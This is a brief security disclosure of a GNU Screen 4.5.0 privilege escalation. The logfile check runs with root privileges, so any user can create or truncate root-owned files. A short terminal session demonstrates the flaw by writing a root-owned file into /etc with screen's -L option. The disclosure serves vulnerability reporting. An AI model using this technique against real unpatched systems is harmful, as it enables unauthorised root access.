GNU Screen 4.5.0 Privilege Escalation
Posted on 27 January 2017
Commit f86a374 ("screen.c: adding permissions check for the logfile name", 2015-11-04) The check opens the logfile with full root privileges. This allows us to truncate any file or create a root-owned file with any contents in any directory and can be easily exploited to full root access in several ways. > address@hidden:~$ screen --version > Screen version 4.05.00 (GNU) 10-Dec-16 > address@hidden:~$ id > uid=125(buczek) gid=125(buczek) groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw) > address@hidden:~$ cd /etc > address@hidden:/etc (master)$ screen -D -m -L bla.bla echo fail > address@hidden:/etc (master)$ ls -l bla.bla > -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla > address@hidden:/etc (master)$ cat bla.bla > fail > address@hidden:/etc (master)$ Donald Buczek <address@hidden>
